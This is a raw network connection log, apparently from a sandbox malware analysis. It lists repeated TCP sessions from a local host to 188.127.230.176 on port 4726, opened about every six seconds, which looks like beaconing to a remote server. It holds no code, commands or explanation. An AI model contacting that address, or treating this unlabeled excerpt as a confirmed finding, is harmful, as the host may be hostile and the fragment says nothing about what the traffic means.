Aug 5, 2022 11:35:24.533359051 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.626883030 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.671874046 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.751702070 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.751878977 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.845422983 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.845674992 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.939156055 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.999816895 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.079830885 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:25.080038071 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.173742056 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:25.218642950 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.314678907 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:25.314927101 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.408413887 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:25.408580065 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.499691963 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:25.501929998 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:25.502151966 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.643018007 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.694530010 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:29.694757938 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.695359945 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.753817081 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:29.754059076 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.845649958 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:29.845880032 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:29.898020029 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:29.921124935 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.001921892 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.002263069 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.079878092 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.108078003 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.189249039 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.190272093 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.190934896 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.242096901 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.242842913 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.294178963 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.294331074 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.346029997 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.346235991 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.439196110 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.467410088 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.548607111 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.592488050 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.673635006 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.673837900 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.751493931 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.751714945 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.829672098 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.904840946 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:30.985949993 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:30.986130953 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.064079046 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:31.123658895 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.204716921 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:31.204902887 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.282738924 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:31.310952902 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.392141104 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:31.451560974 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.514138937 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:31.533092022 CEST	4726	49835	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:31.533409119 CEST	49835	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.540777922 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.588139057 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:35.588345051 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.588696003 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.643178940 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:35.643498898 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.690990925 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:35.716347933 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.798259974 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:35.798516989 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.876183033 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:35.903687000 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:35.986537933 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.003074884 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.003659010 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.051100016 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.051265001 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.126537085 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.126671076 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.173918962 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.174170971 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.221517086 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.262984037 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.278682947 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.360726118 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.360893011 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.438811064 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.439055920 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.516902924 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.559763908 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.641927958 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.700609922 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.782726049 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.782933950 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:36.860944986 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:36.919325113 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.001560926 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:37.001915932 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.079509974 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:37.106571913 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.188929081 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:37.200335979 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.282633066 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:37.356616020 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.419039011 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:37.439101934 CEST	4726	49836	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:37.439448118 CEST	49836	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.445894957 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.497440100 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.497663975 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.497992039 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.557182074 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.557533026 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.609283924 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.621383905 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.704567909 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.704776049 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.782543898 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.808578968 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.891974926 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.893106937 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.893672943 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.945177078 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.945833921 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:41.997159004 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:41.997385979 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.048635006 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.048819065 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.141901970 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.168072939 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.251411915 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.251611948 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.329593897 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.355321884 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.438821077 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.449314117 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.532859087 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.605495930 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.688905001 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.689110994 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.766967058 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.824285984 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.907924891 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:42.908173084 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:42.985867023 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:43.011512995 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:43.095326900 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:43.152425051 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:43.235761881 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:43.236046076 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:43.313965082 CEST	4726	49837	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:43.370944977 CEST	49837	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.397991896 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.448880911 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.449076891 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.449491978 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.510760069 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.510921001 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.595149040 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.595402002 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.646682978 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.646943092 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.735950947 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.736224890 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.813828945 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.854270935 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.924380064 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.924640894 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:47.975995064 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:47.976197004 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.063783884 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.063932896 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.114927053 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.115206957 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.166544914 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.166737080 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.251504898 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.260441065 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.345257998 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.401160955 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.485996008 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.486274004 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.564009905 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.619719028 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.704610109 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.704936028 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.782762051 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.807091951 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:48.892107010 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:48.947931051 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:49.032841921 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:49.033046007 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:49.110909939 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:49.166459084 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:49.228944063 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:49.251306057 CEST	4726	49838	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:49.251509905 CEST	49838	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.372589111 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.419806004 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.420032978 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.420368910 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.474966049 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.475338936 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.522994995 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.556148052 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.641772985 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.641946077 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.720448971 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.759130955 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.831063986 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.831641912 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.878607988 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.878801107 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:53.954505920 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:53.954683065 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.002084970 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.002475023 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.050004005 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.050198078 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.126538038 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.149832964 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.235919952 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.306006908 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.392678022 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.392812014 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.470218897 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.524693012 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.611279011 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.649744987 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.735929966 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.736115932 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.814049006 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.853084087 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:54.939174891 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:54.939392090 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:55.017226934 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:55.071620941 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:55.157582998 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:55.157702923 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:55.235913992 CEST	4726	49839	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:55.259011984 CEST	49839	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.285481930 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.333122015 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.333533049 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.334023952 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.390305042 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.390659094 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.438782930 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.439011097 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.517326117 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.517479897 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.595490932 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.595710993 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.673541069 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.673748970 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.706190109 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.721307039 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.721525908 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.798607111 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.798789024 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.846620083 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.846983910 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.894841909 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:59.945171118 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:59.960850000 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.048770905 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.101655006 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.189434052 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.189686060 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.267535925 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.320503950 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.408199072 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.408415079 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.486258984 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.507985115 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.595438004 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.648474932 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.736223936 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.736421108 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.814280033 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.867172956 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:00.954977989 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:00.955327034 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:01.033160925 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:01.054517984 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:01.142323017 CEST	4726	49840	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:01.210963011 CEST	49840	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.237457037 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.288682938 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.288873911 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.289138079 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.347419977 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.347744942 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.399183989 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.399431944 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.486100912 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.486334085 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.564389944 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.569161892 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.658107996 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.658310890 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.675326109 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.709767103 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.709985971 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.798799992 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.799153090 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.850892067 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.851094007 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:05.902419090 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:05.943763018 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.007199049 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.095474005 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.096226931 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.189330101 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.225433111 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.314399958 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.314629078 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.408356905 CEST	4726	49841	188.127.230.176	192.168.11.20
Aug 5, 2022 11:36:06.412674904 CEST	49841	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:36:06.501795053 CEST	4726	49841	188.127.230.176	192.168.11.20
